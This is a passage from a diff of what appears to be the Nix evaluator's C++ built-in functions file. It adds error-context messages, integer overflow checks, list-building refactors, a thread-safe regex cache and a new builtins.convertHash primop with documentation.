(auto & i : *args[1]->attrs()) { Value * vName = state.allocValue(); Value * vFun2 = state.allocValue(); vName->mkString(state.symbols[i.name]); @@ -2590,48 +3129,50 @@ static void prim_zipAttrsWith(EvalState & state, const PosIdx pos, Value * * arg // attribute with the merge function application. this way we need not // use (slightly slower) temporary storage the GC does not know about. - std::map> attrsSeen; + struct Item + { + size_t size = 0; + size_t pos = 0; + std::optional list; + }; - state.forceFunction(*args[0], pos); - state.forceList(*args[1], pos); - const auto listSize = args[1]->listSize(); - const auto listElems = args[1]->listElems(); + std::map attrsSeen; - for (unsigned int n = 0; n < listSize; ++n) { - Value * vElem = listElems[n]; - try { - state.forceAttrs(*vElem, noPos); - for (auto & attr : *vElem->attrs) - attrsSeen[attr.name].first++; - } catch (TypeError & e) { - e.addTrace(state.positions[pos], hintfmt("while invoking '%s'", "zipAttrsWith")); - state.debugThrowLastTrace(e); + state.forceFunction(*args[0], pos, "while evaluating the first argument passed to builtins.zipAttrsWith"); + state.forceList(*args[1], pos, "while evaluating the second argument passed to builtins.zipAttrsWith"); + const auto listItems = args[1]->listItems(); + + for (auto & vElem : listItems) { + state.forceAttrs(*vElem, noPos, "while evaluating a value of the list passed as second argument to builtins.zipAttrsWith"); + for (auto & attr : *vElem->attrs()) + attrsSeen.try_emplace(attr.name).first->second.size++; + } + + for (auto & [sym, elem] : attrsSeen) + elem.list.emplace(state.buildList(elem.size)); + + for (auto & vElem : listItems) { + for (auto & attr : *vElem->attrs()) { + auto & item = attrsSeen.at(attr.name); + (*item.list)[item.pos++] = attr.value; } } auto attrs = state.buildBindings(attrsSeen.size()); + for (auto & [sym, elem] : attrsSeen) { - auto & list = attrs.alloc(sym); - state.mkList(list, elem.first); - elem.second = list.listElems(); - } - v.mkAttrs(attrs.alreadySorted()); - - for (unsigned int n = 0; n < listSize; ++n) { - Value * vElem = listElems[n]; - for (auto & attr : *vElem->attrs) - *attrsSeen[attr.name].second++ = attr.value; - } - - for (auto & attr : *v.attrs) { auto name = state.allocValue(); - name->mkString(state.symbols[attr.name]); + name->mkString(state.symbols[sym]); auto call1 = state.allocValue(); call1->mkApp(args[0], name); auto call2 = state.allocValue(); - call2->mkApp(call1, attr.value); - attr.value = call2; + auto arg = state.allocValue(); + arg->mkList(*elem.list); + call2->mkApp(call1, arg); + attrs.insert(sym, call2); } + + v.mkAttrs(attrs.alreadySorted()); } static RegisterPrimOp primop_zipAttrsWith({ @@ -2690,12 +3231,12 @@ static RegisterPrimOp primop_isList({ static void elemAt(EvalState & state, const PosIdx pos, Value & list, int n, Value & v) { - state.forceList(list, pos); + state.forceList(list, pos, "while evaluating the first argument passed to builtins.elemAt"); if (n < 0 || (unsigned int) n >= list.listSize()) - state.debugThrowLastTrace(Error({ - .msg = hintfmt("list index %1% is out of bounds", n), - .errPos = state.positions[pos] - })); + state.error( + "list index %1% is out of bounds", + n + ).atPos(pos).debugThrow(); state.forceValue(*list.listElems()[n], pos); v = *list.listElems()[n]; } @@ -2703,7 +3244,8 @@ static void elemAt(EvalState & state, const PosIdx pos, Value & list, int n, Val /* Return the n-1'th element of a list. */ static void prim_elemAt(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - elemAt(state, pos, *args[0], state.forceInt(*args[1], pos), v); + NixInt::Inner elem = state.forceInt(*args[1], pos, "while evaluating the second argument passed to builtins.elemAt").value; + elemAt(state, pos, *args[0], elem, v); } static RegisterPrimOp primop_elemAt({ @@ -2738,23 +3280,21 @@ static RegisterPrimOp primop_head({ don't want to use it! */ static void prim_tail(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - state.forceList(*args[0], pos); + state.forceList(*args[0], pos, "while evaluating the first argument passed to builtins.tail"); if (args[0]->listSize() == 0) - state.debugThrowLastTrace(Error({ - .msg = hintfmt("'tail' called on an empty list"), - .errPos = state.positions[pos] - })); + state.error("'tail' called on an empty list").atPos(pos).debugThrow(); - state.mkList(v, args[0]->listSize() - 1); - for (unsigned int n = 0; n < v.listSize(); ++n) - v.listElems()[n] = args[0]->listElems()[n + 1]; + auto list = state.buildList(args[0]->listSize() - 1); + for (const auto & [n, v] : enumerate(list)) + v = args[0]->listElems()[n + 1]; + v.mkList(list); } static RegisterPrimOp primop_tail({ .name = "__tail", .args = {"list"}, .doc = R"( - Return the second to last elements of a list; abort evaluation if + Return the list without its first item; abort evaluation if the argument isn’t a list or is an empty list. > **Warning** @@ -2769,13 +3309,20 @@ static RegisterPrimOp primop_tail({ /* Apply a function to every element of a list. */ static void prim_map(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - state.forceList(*args[1], pos); + state.forceList(*args[1], pos, "while evaluating the second argument passed to builtins.map"); - state.mkList(v, args[1]->listSize()); + if (args[1]->listSize() == 0) { + v = *args[1]; + return; + } - for (unsigned int n = 0; n < v.listSize(); ++n) - (v.listElems()[n] = state.allocValue())->mkApp( + state.forceFunction(*args[0], pos, "while evaluating the first argument passed to builtins.map"); + + auto list = state.buildList(args[1]->listSize()); + for (const auto & [n, v] : enumerate(list)) + (v = state.allocValue())->mkApp( args[0], args[1]->listElems()[n]); + v.mkList(list); } static RegisterPrimOp primop_map({ @@ -2799,18 +3346,23 @@ static RegisterPrimOp primop_map({ returns true. */ static void prim_filter(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - state.forceFunction(*args[0], pos); - state.forceList(*args[1], pos); + state.forceList(*args[1], pos, "while evaluating the second argument passed to builtins.filter"); - // FIXME: putting this on the stack is risky. - Value * vs[args[1]->listSize()]; - unsigned int k = 0; + if (args[1]->listSize() == 0) { + v = *args[1]; + return; + } + + state.forceFunction(*args[0], pos, "while evaluating the first argument passed to builtins.filter"); + + SmallValueVector vs(args[1]->listSize()); + size_t k = 0; bool same = true; for (unsigned int n = 0; n < args[1]->listSize(); ++n) { Value res; state.callFunction(*args[0], *args[1]->listElems()[n], res, noPos); - if (state.forceBool(res, pos)) + if (state.forceBool(res, pos, "while evaluating the return value of the filtering function passed to builtins.filter")) vs[k++] = args[1]->listElems()[n]; else same = false; @@ -2819,8 +3371,9 @@ static void prim_filter(EvalState & state, const PosIdx pos, Value * * args, Val if (same) v = *args[1]; else { - state.mkList(v, k); - for (unsigned int n = 0; n < k; ++n) v.listElems()[n] = vs[n]; + auto list = state.buildList(k); + for (const auto & [n, v] : enumerate(list)) v = vs[n]; + v.mkList(list); } } @@ -2838,9 +3391,9 @@ static RegisterPrimOp primop_filter({ static void prim_elem(EvalState & state, const PosIdx pos, Value * * args, Value & v) { bool res = false; - state.forceList(*args[1], pos); + state.forceList(*args[1], pos, "while evaluating the second argument passed to builtins.elem"); for (auto elem : args[1]->listItems()) - if (state.eqValues(*args[0], *elem)) { + if (state.eqValues(*args[0], *elem, pos, "while searching for the presence of the given element in the list")) { res = true; break; } @@ -2860,8 +3413,8 @@ static RegisterPrimOp primop_elem({ /* Concatenate a list of lists. */ static void prim_concatLists(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - state.forceList(*args[0], pos); - state.concatLists(v, args[0]->listSize(), args[0]->listElems(), pos); + state.forceList(*args[0], pos, "while evaluating the first argument passed to builtins.concatLists"); + state.concatLists(v, args[0]->listSize(), args[0]->listElems(), pos, "while evaluating a value of the list passed to builtins.concatLists"); } static RegisterPrimOp primop_concatLists({ @@ -2876,7 +3429,7 @@ static RegisterPrimOp primop_concatLists({ /* Return the length of a list. This is an O(1) time operation. */ static void prim_length(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - state.forceList(*args[0], pos); + state.forceList(*args[0], pos, "while evaluating the first argument passed to builtins.length"); v.mkInt(args[0]->listSize()); } @@ -2893,8 +3446,8 @@ static RegisterPrimOp primop_length({ right. The operator is applied strictly. */ static void prim_foldlStrict(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - state.forceFunction(*args[0], pos); - state.forceList(*args[2], pos); + state.forceFunction(*args[0], pos, "while evaluating the first argument passed to builtins.foldlStrict"); + state.forceList(*args[2], pos, "while evaluating the third argument passed to builtins.foldlStrict"); if (args[2]->listSize()) { Value * vCur = args[1]; @@ -2917,22 +3470,33 @@ static RegisterPrimOp primop_foldlStrict({ .doc = R"( Reduce a list by applying a binary operator, from left to right, e.g. `foldl' op nul [x0 x1 x2 ...] = op (op (op nul x0) x1) x2) - ...`. The operator is applied strictly, i.e., its arguments are - evaluated first. For example, `foldl' (x: y: x + y) 0 [1 2 3]` - evaluates to 6. + ...`. + + For example, `foldl' (acc: elem: acc + elem) 0 [1 2 3]` evaluates + to `6` and `foldl' (acc: elem: { "${elem}" = elem; } // acc) {} + ["a" "b"]` evaluates to `{ a = "a"; b = "b"; }`. + + The first argument of `op` is the accumulator whereas the second + argument is the current element being processed. The return value + of each application of `op` is evaluated immediately, even for + intermediate values. )", .fun = prim_foldlStrict, }); static void anyOrAll(bool any, EvalState & state, const PosIdx pos, Value * * args, Value & v) { - state.forceFunction(*args[0], pos); - state.forceList(*args[1], pos); + state.forceFunction(*args[0], pos, std::string("while evaluating the first argument passed to builtins.") + (any ? "any" : "all")); + state.forceList(*args[1], pos, std::string("while evaluating the second argument passed to builtins.") + (any ? "any" : "all")); + + std::string_view errorCtx = any + ? "while evaluating the return value of the function passed to builtins.any" + : "while evaluating the return value of the function passed to builtins.all"; Value vTmp; for (auto elem : args[1]->listItems()) { state.callFunction(*args[0], *elem, vTmp, pos); - bool res = state.forceBool(vTmp, pos); + bool res = state.forceBool(vTmp, pos, errorCtx); if (res == any) { v.mkBool(any); return; @@ -2975,21 +3539,24 @@ static RegisterPrimOp primop_all({ static void prim_genList(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - auto len = state.forceInt(*args[1], pos); + auto len_ = state.forceInt(*args[1], pos, "while evaluating the second argument passed to builtins.genList").value; - if (len < 0) - state.debugThrowLastTrace(EvalError({ - .msg = hintfmt("cannot create list of size %1%", len), - .errPos = state.positions[pos] - })); + if (len_ < 0) + state.error("cannot create list of size %1%", len_).atPos(pos).debugThrow(); - state.mkList(v, len); + size_t len = size_t(len_); - for (unsigned int n = 0; n < (unsigned int) len; ++n) { + // More strict than striclty (!) necessary, but acceptable + // as evaluating map without accessing any values makes little sense. + state.forceFunction(*args[0], noPos, "while evaluating the first argument passed to builtins.genList"); + + auto list = state.buildList(len); + for (const auto & [n, v] : enumerate(list)) { auto arg = state.allocValue(); arg->mkInt(n); - (v.listElems()[n] = state.allocValue())->mkApp(args[0], arg); + (v = state.allocValue())->mkApp(args[0], arg); } + v.mkList(list); } static RegisterPrimOp primop_genList({ @@ -3013,32 +3580,41 @@ static void prim_lessThan(EvalState & state, const PosIdx pos, Value * * args, V static void prim_sort(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - state.forceFunction(*args[0], pos); - state.forceList(*args[1], pos); + state.forceList(*args[1], pos, "while evaluating the second argument passed to builtins.sort"); auto len = args[1]->listSize(); - state.mkList(v, len); - for (unsigned int n = 0; n < len; ++n) { - state.forceValue(*args[1]->listElems()[n], pos); - v.listElems()[n] = args[1]->listElems()[n]; + if (len == 0) { + v = *args[1]; + return; } + state.forceFunction(*args[0], pos, "while evaluating the first argument passed to builtins.sort"); + + auto list = state.buildList(len); + for (const auto & [n, v] : enumerate(list)) + state.forceValue(*(v = args[1]->listElems()[n]), pos); + auto comparator = [&](Value * a, Value * b) { /* Optimization: if the comparator is lessThan, bypass callFunction. */ - if (args[0]->isPrimOp() && args[0]->primOp->fun == prim_lessThan) - return CompareValues(state)(a, b); + if (args[0]->isPrimOp()) { + auto ptr = args[0]->primOp()->fun.target(); + if (ptr && *ptr == prim_lessThan) + return CompareValues(state, noPos, "while evaluating the ordering function passed to builtins.sort")(a, b); + } Value * vs[] = {a, b}; Value vBool; - state.callFunction(*args[0], 2, vs, vBool, pos); - return state.forceBool(vBool, pos); + state.callFunction(*args[0], 2, vs, vBool, noPos); + return state.forceBool(vBool, pos, "while evaluating the return value of the sorting function passed to builtins.sort"); }; /* FIXME: std::sort can segfault if the comparator is not a strict weak ordering. What to do? std::stable_sort() seems more resilient, but no guarantees... */ - std::stable_sort(v.listElems(), v.listElems() + len, comparator); + std::stable_sort(list.begin(), list.end(), comparator); + + v.mkList(list); } static RegisterPrimOp primop_sort({ @@ -3064,8 +3640,8 @@ static RegisterPrimOp primop_sort({ static void prim_partition(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - state.forceFunction(*args[0], pos); - state.forceList(*args[1], pos); + state.forceFunction(*args[0], pos, "while evaluating the first argument passed to builtins.partition"); + state.forceList(*args[1], pos, "while evaluating the second argument passed to builtins.partition"); auto len = args[1]->listSize(); @@ -3076,7 +3652,7 @@ static void prim_partition(EvalState & state, const PosIdx pos, Value * * args, state.forceValue(*vElem, pos); Value res; state.callFunction(*args[0], *vElem, res, pos); - if (state.forceBool(res, pos)) + if (state.forceBool(res, pos, "while evaluating the return value of the partition function passed to builtins.partition")) right.push_back(vElem); else wrong.push_back(vElem); @@ -3084,17 +3660,17 @@ static void prim_partition(EvalState & state, const PosIdx pos, Value * * args, auto attrs = state.buildBindings(2); - auto & vRight = attrs.alloc(state.sRight); auto rsize = right.size(); - state.mkList(vRight, rsize); + auto rlist = state.buildList(rsize); if (rsize) - memcpy(vRight.listElems(), right.data(), sizeof(Value *) * rsize); + memcpy(rlist.elems, right.data(), sizeof(Value *) * rsize); + attrs.alloc(state.sRight).mkList(rlist); - auto & vWrong = attrs.alloc(state.sWrong); auto wsize = wrong.size(); - state.mkList(vWrong, wsize); + auto wlist = state.buildList(wsize); if (wsize) - memcpy(vWrong.listElems(), wrong.data(), sizeof(Value *) * wsize); + memcpy(wlist.elems, wrong.data(), sizeof(Value *) * wsize); + attrs.alloc(state.sWrong).mkList(wlist); v.mkAttrs(attrs); } @@ -3124,15 +3700,15 @@ static RegisterPrimOp primop_partition({ static void prim_groupBy(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - state.forceFunction(*args[0], pos); - state.forceList(*args[1], pos); + state.forceFunction(*args[0], pos, "while evaluating the first argument passed to builtins.groupBy"); + state.forceList(*args[1], pos, "while evaluating the second argument passed to builtins.groupBy"); ValueVectorMap attrs; for (auto vElem : args[1]->listItems()) { Value res; state.callFunction(*args[0], *vElem, res, pos); - auto name = state.forceStringNoCtx(res, pos); + auto name = state.forceStringNoCtx(res, pos, "while evaluating the return value of the grouping function passed to builtins.groupBy"); auto sym = state.symbols.create(name); auto vector = attrs.try_emplace(sym, ValueVector()).first; vector->second.push_back(vElem); @@ -3141,10 +3717,10 @@ static void prim_groupBy(EvalState & state, const PosIdx pos, Value * * args, Va auto attrs2 = state.buildBindings(attrs.size()); for (auto & i : attrs) { - auto & list = attrs2.alloc(i.first); auto size = i.second.size(); - state.mkList(list, size); - memcpy(list.listElems(), i.second.data(), sizeof(Value *) * size); + auto list = state.buildList(size); + memcpy(list.elems, i.second.data(), sizeof(Value *) * size); + attrs2.alloc(i.first).mkList(list); } v.mkAttrs(attrs2.alreadySorted()); @@ -3176,33 +3752,30 @@ static RegisterPrimOp primop_groupBy({ static void prim_concatMap(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - state.forceFunction(*args[0], pos); - state.forceList(*args[1], pos); + state.forceFunction(*args[0], pos, "while evaluating the first argument passed to builtins.concatMap"); + state.forceList(*args[1], pos, "while evaluating the second argument passed to builtins.concatMap"); auto nrLists = args[1]->listSize(); - Value lists[nrLists]; + // List of returned lists before concatenation. References to these Values must NOT be persisted. + SmallTemporaryValueVector lists(nrLists); size_t len = 0; for (unsigned int n = 0; n < nrLists; ++n) { Value * vElem = args[1]->listElems()[n]; state.callFunction(*args[0], *vElem, lists[n], pos); - try { - state.forceList(lists[n], lists[n].determinePos(args[0]->determinePos(pos))); - } catch (TypeError &e) { - e.addTrace(state.positions[pos], hintfmt("while invoking '%s'", "concatMap")); - state.debugThrowLastTrace(e); - } + state.forceList(lists[n], lists[n].determinePos(args[0]->determinePos(pos)), "while evaluating the return value of the function passed to builtins.concatMap"); len += lists[n].listSize(); } - state.mkList(v, len); - auto out = v.listElems(); + auto list = state.buildList(len); + auto out = list.elems; for (unsigned int n = 0, pos = 0; n < nrLists; ++n) { auto l = lists[n].listSize(); if (l) memcpy(out + pos, lists[n].listElems(), l * sizeof(Value *)); pos += l; } + v.mkList(list); } static RegisterPrimOp primop_concatMap({ @@ -3226,9 +3799,19 @@ static void prim_add(EvalState & state, const PosIdx pos, Value * * args, Value state.forceValue(*args[0], pos); state.forceValue(*args[1], pos); if (args[0]->type() == nFloat || args[1]->type() == nFloat) - v.mkFloat(state.forceFloat(*args[0], pos) + state.forceFloat(*args[1], pos)); - else - v.mkInt(state.forceInt(*args[0], pos) + state.forceInt(*args[1], pos)); + v.mkFloat(state.forceFloat(*args[0], pos, "while evaluating the first argument of the addition") + + state.forceFloat(*args[1], pos, "while evaluating the second argument of the addition")); + else { + auto i1 = state.forceInt(*args[0], pos, "while evaluating the first argument of the addition"); + auto i2 = state.forceInt(*args[1], pos, "while evaluating the second argument of the addition"); + + auto result_ = i1 + i2; + if (auto result = result_.valueChecked(); result.has_value()) { + v.mkInt(*result); + } else { + state.error("integer overflow in adding %1% + %2%", i1, i2).atPos(pos).debugThrow(); + } + } } static RegisterPrimOp primop_add({ @@ -3245,9 +3828,20 @@ static void prim_sub(EvalState & state, const PosIdx pos, Value * * args, Value state.forceValue(*args[0], pos); state.forceValue(*args[1], pos); if (args[0]->type() == nFloat || args[1]->type() == nFloat) - v.mkFloat(state.forceFloat(*args[0], pos) - state.forceFloat(*args[1], pos)); - else - v.mkInt(state.forceInt(*args[0], pos) - state.forceInt(*args[1], pos)); + v.mkFloat(state.forceFloat(*args[0], pos, "while evaluating the first argument of the subtraction") + - state.forceFloat(*args[1], pos, "while evaluating the second argument of the subtraction")); + else { + auto i1 = state.forceInt(*args[0], pos, "while evaluating the first argument of the subtraction"); + auto i2 = state.forceInt(*args[1], pos, "while evaluating the second argument of the subtraction"); + + auto result_ = i1 - i2; + + if (auto result = result_.valueChecked(); result.has_value()) { + v.mkInt(*result); + } else { + state.error("integer overflow in subtracting %1% - %2%", i1, i2).atPos(pos).debugThrow(); + } + } } static RegisterPrimOp primop_sub({ @@ -3264,9 +3858,20 @@ static void prim_mul(EvalState & state, const PosIdx pos, Value * * args, Value state.forceValue(*args[0], pos); state.forceValue(*args[1], pos); if (args[0]->type() == nFloat || args[1]->type() == nFloat) - v.mkFloat(state.forceFloat(*args[0], pos) * state.forceFloat(*args[1], pos)); - else - v.mkInt(state.forceInt(*args[0], pos) * state.forceInt(*args[1], pos)); + v.mkFloat(state.forceFloat(*args[0], pos, "while evaluating the first of the multiplication") + * state.forceFloat(*args[1], pos, "while evaluating the second argument of the multiplication")); + else { + auto i1 = state.forceInt(*args[0], pos, "while evaluating the first argument of the multiplication"); + auto i2 = state.forceInt(*args[1], pos, "while evaluating the second argument of the multiplication"); + + auto result_ = i1 * i2; + + if (auto result = result_.valueChecked(); result.has_value()) { + v.mkInt(*result); + } else { + state.error("integer overflow in multiplying %1% * %2%", i1, i2).atPos(pos).debugThrow(); + } + } } static RegisterPrimOp primop_mul({ @@ -3283,26 +3888,22 @@ static void prim_div(EvalState & state, const PosIdx pos, Value * * args, Value state.forceValue(*args[0], pos); state.forceValue(*args[1], pos); - NixFloat f2 = state.forceFloat(*args[1], pos); + NixFloat f2 = state.forceFloat(*args[1], pos, "while evaluating the second operand of the division"); if (f2 == 0) - state.debugThrowLastTrace(EvalError({ - .msg = hintfmt("division by zero"), - .errPos = state.positions[pos] - })); + state.error("division by zero").atPos(pos).debugThrow(); if (args[0]->type() == nFloat || args[1]->type() == nFloat) { - v.mkFloat(state.forceFloat(*args[0], pos) / state.forceFloat(*args[1], pos)); + v.mkFloat(state.forceFloat(*args[0], pos, "while evaluating the first operand of the division") / f2); } else { - NixInt i1 = state.forceInt(*args[0], pos); - NixInt i2 = state.forceInt(*args[1], pos); + NixInt i1 = state.forceInt(*args[0], pos, "while evaluating the first operand of the division"); + NixInt i2 = state.forceInt(*args[1], pos, "while evaluating the second operand of the division"); /* Avoid division overflow as it might raise SIGFPE. */ - if (i1 == std::numeric_limits::min() && i2 == -1) - state.debugThrowLastTrace(EvalError({ - .msg = hintfmt("overflow in integer division"), - .errPos = state.positions[pos] - })); - - v.mkInt(i1 / i2); + auto result_ = i1 / i2; + if (auto result = result_.valueChecked(); result.has_value()) { + v.mkInt(*result); + } else { + state.error("integer overflow in dividing %1% / %2%", i1, i2).atPos(pos).debugThrow(); + } } } @@ -3317,7 +3918,9 @@ static RegisterPrimOp primop_div({ static void prim_bitAnd(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - v.mkInt(state.forceInt(*args[0], pos) & state.forceInt(*args[1], pos)); + auto i1 = state.forceInt(*args[0], pos, "while evaluating the first argument passed to builtins.bitAnd"); + auto i2 = state.forceInt(*args[1], pos, "while evaluating the second argument passed to builtins.bitAnd"); + v.mkInt(i1.value & i2.value); } static RegisterPrimOp primop_bitAnd({ @@ -3331,7 +3934,10 @@ static RegisterPrimOp primop_bitAnd({ static void prim_bitOr(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - v.mkInt(state.forceInt(*args[0], pos) | state.forceInt(*args[1], pos)); + auto i1 = state.forceInt(*args[0], pos, "while evaluating the first argument passed to builtins.bitOr"); + auto i2 = state.forceInt(*args[1], pos, "while evaluating the second argument passed to builtins.bitOr"); + + v.mkInt(i1.value | i2.value); } static RegisterPrimOp primop_bitOr({ @@ -3345,7 +3951,10 @@ static RegisterPrimOp primop_bitOr({ static void prim_bitXor(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - v.mkInt(state.forceInt(*args[0], pos) ^ state.forceInt(*args[1], pos)); + auto i1 = state.forceInt(*args[0], pos, "while evaluating the first argument passed to builtins.bitXor"); + auto i2 = state.forceInt(*args[1], pos, "while evaluating the second argument passed to builtins.bitXor"); + + v.mkInt(i1.value ^ i2.value); } static RegisterPrimOp primop_bitXor({ @@ -3361,7 +3970,8 @@ static void prim_lessThan(EvalState & state, const PosIdx pos, Value * * args, V { state.forceValue(*args[0], pos); state.forceValue(*args[1], pos); - CompareValues comp{state}; + // pos is exact here, no need for a message. + CompareValues comp(state, noPos, ""); v.mkBool(comp(args[0], args[1])); } @@ -3387,8 +3997,10 @@ static RegisterPrimOp primop_lessThan({ `"/nix/store/whatever..."'. */ static void prim_toString(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - PathSet context; - auto s = state.coerceToString(pos, *args[0], context, true, false); + NixStringContext context; + auto s = state.coerceToString(pos, *args[0], context, + "while evaluating the first argument passed to builtins.toString", + true, false); v.mkString(*s, context); } @@ -3422,16 +4034,32 @@ static RegisterPrimOp primop_toString({ non-negative. */ static void prim_substring(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - int start = state.forceInt(*args[0], pos); - int len = state.forceInt(*args[1], pos); - PathSet context; - auto s = state.coerceToString(pos, *args[2], context); + NixInt::Inner start = state.forceInt(*args[0], pos, "while evaluating the first argument (the start offset) passed to builtins.substring").value; if (start < 0) - state.debugThrowLastTrace(EvalError({ - .msg = hintfmt("negative start position in 'substring'"), - .errPos = state.positions[pos] - })); + state.error("negative start position in 'substring'").atPos(pos).debugThrow(); + + + NixInt::Inner len = state.forceInt(*args[1], pos, "while evaluating the second argument (the substring length) passed to builtins.substring").value; + + // Negative length may be idiomatically passed to builtins.substring to get + // the tail of the string. + if (len < 0) { + len = std::numeric_limits::max(); + } + + // Special-case on empty substring to avoid O(n) strlen + // This allows for the use of empty substrings to efficently capture string context + if (len == 0) { + state.forceValue(*args[2], pos); + if (args[2]->type() == nString) { + v.mkString("", args[2]->context()); + return; + } + } + + NixStringContext context; + auto s = state.coerceToString(pos, *args[2], context, "while evaluating the third argument (the string) passed to builtins.substring"); v.mkString((unsigned int) start >= s->size() ? "" : s->substr(start, len), context); } @@ -3442,10 +4070,11 @@ static RegisterPrimOp primop_substring({ .doc = R"( Return the substring of *s* from character position *start* (zero-based) up to but not including *start + len*. If *start* is - greater than the length of the string, an empty string is returned, - and if *start + len* lies beyond the end of the string, only the - substring up to the end of the string is returned. *start* must be - non-negative. For example, + greater than the length of the string, an empty string is returned. + If *start + len* lies beyond the end of the string or *len* is `-1`, + only the substring up to the end of the string is returned. + *start* must be non-negative. + For example, ```nix builtins.substring 0 3 "nixos" @@ -3458,16 +4087,16 @@ static RegisterPrimOp primop_substring({ static void prim_stringLength(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - PathSet context; - auto s = state.coerceToString(pos, *args[0], context); - v.mkInt(s->size()); + NixStringContext context; + auto s = state.coerceToString(pos, *args[0], context, "while evaluating the argument passed to builtins.stringLength"); + v.mkInt(NixInt::Inner(s->size())); } static RegisterPrimOp primop_stringLength({ .name = "__stringLength", .args = {"e"}, .doc = R"( - Return the length of the string *e*. If *e* is not a string, + Return the number of bytes of the string *e*. If *e* is not a string, evaluation is aborted. )", .fun = prim_stringLength, @@ -3476,18 +4105,15 @@ static RegisterPrimOp primop_stringLength({ /* Return the cryptographic hash of a string in base-16. */ static void prim_hashString(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - auto type = state.forceStringNoCtx(*args[0], pos); - std::optional ht = parseHashType(type); - if (!ht) - state.debugThrowLastTrace(Error({ - .msg = hintfmt("unknown hash type '%1%'", type), - .errPos = state.positions[pos] - })); + auto algo = state.forceStringNoCtx(*args[0], pos, "while evaluating the first argument passed to builtins.hashString"); + std::optional ha = parseHashAlgo(algo); + if (!ha) + state.error("unknown hash algorithm '%1%'", algo).atPos(pos).debugThrow(); - PathSet context; // discarded - auto s = state.forceString(*args[1], context, pos); + NixStringContext context; // discarded + auto s = state.forceString(*args[1], context, pos, "while evaluating the second argument passed to builtins.hashString"); - v.mkString(hashString(*ht, s).to_string(Base16, false)); + v.mkString(hashString(*ha, s).to_string(HashFormat::Base16, false)); } static RegisterPrimOp primop_hashString({ @@ -3501,19 +4127,120 @@ static RegisterPrimOp primop_hashString({ .fun = prim_hashString, }); +static void prim_convertHash(EvalState & state, const PosIdx pos, Value * * args, Value & v) +{ + state.forceAttrs(*args[0], pos, "while evaluating the first argument passed to builtins.convertHash"); + auto inputAttrs = args[0]->attrs(); + + auto iteratorHash = getAttr(state, state.symbols.create("hash"), inputAttrs, "while locating the attribute 'hash'"); + auto hash = state.forceStringNoCtx(*iteratorHash->value, pos, "while evaluating the attribute 'hash'"); + + auto iteratorHashAlgo = inputAttrs->get(state.symbols.create("hashAlgo")); + std::optional ha = std::nullopt; + if (iteratorHashAlgo) + ha = parseHashAlgo(state.forceStringNoCtx(*iteratorHashAlgo->value, pos, "while evaluating the attribute 'hashAlgo'")); + + auto iteratorToHashFormat = getAttr(state, state.symbols.create("toHashFormat"), args[0]->attrs(), "while locating the attribute 'toHashFormat'"); + HashFormat hf = parseHashFormat(state.forceStringNoCtx(*iteratorToHashFormat->value, pos, "while evaluating the attribute 'toHashFormat'")); + + v.mkString(Hash::parseAny(hash, ha).to_string(hf, hf == HashFormat::SRI)); +} + +static RegisterPrimOp primop_convertHash({ + .name = "__convertHash", + .args = {"args"}, + .doc = R"( + Return the specified representation of a hash string, based on the attributes presented in *args*: + + - `hash` + + The hash to be converted. + The hash format is detected automatically. + + - `hashAlgo` + + The algorithm used to create the hash. Must be one of + - `"md5"` + - `"sha1"` + - `"sha256"` + - `"sha512"` + + The attribute may be omitted when `hash` is an [SRI hash](https://www.w3.org/TR/SRI/#the-integrity-attribute) or when the hash is prefixed with the hash algorithm name followed by a colon. + That `:` syntax is supported for backwards compatibility with existing tooling. + + - `toHashFormat` + + The format of the resulting hash. Must be one of + - `"base16"` + - `"nix32"` + - `"base32"` (deprecated alias for `"nix32"`) + - `"base64"` + - `"sri"` + + The result hash is the *toHashFormat* representation of the hash *hash*. + + > **Example** + > + > Convert a SHA256 hash in Base16 to SRI: + > + > ```nix + > builtins.convertHash { + > hash = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"; + > toHashFormat = "sri"; + > hashAlgo = "sha256"; + > } + > ``` + > + > "sha256-47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=" + + > **Example** + > + > Convert a SHA256 hash in SRI to Base16: + > + > ```nix + > builtins.convertHash { + > hash = "sha256-47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU="; + > toHashFormat = "base16"; + > } + > ``` + > + > "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + + > **Example** + > + > Convert a hash in the form `:` in Base16 to SRI: + > + > ```nix + > builtins.convertHash { + > hash = "sha256:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"; + > toHashFormat = "sri"; + > } + > ``` + > + > "sha256-47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=" + )", + .fun = prim_convertHash, +}); + struct RegexCache { - // TODO use C++20 transparent comparison when available - std::unordered_map cache; - std::list keys; + struct State + { + // TODO use C++20 transparent comparison when available + std::unordered_map cache; + std::list keys; + }; + + Sync state_; std::regex get(std::string_view re) { - auto it = cache.find(re); - if (it != cache.end()) + auto state(state_.lock()); + auto it = state->cache.find(re); + if (it != state->cache.end()) return it->second; - keys.emplace_back(re); - return cache.emplace(keys.back(), std::regex(keys.back(), std::regex::extended)).first->second; + state->keys.emplace_back(re); + return state->cache.emplace(state->keys.back(), std::regex(state->keys.back(), std::regex::extended)).first->second; } }; @@ -3524,14 +4251,14 @@ std::shared_ptr makeRegexCache() void prim_match(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - auto re = state.forceStringNoCtx(*args[0], pos); + auto re = state.forceStringNoCtx(*args[0], pos, "while evaluating the first argument passed to builtins.match"); try { auto regex = state.regexCache->get(re); - 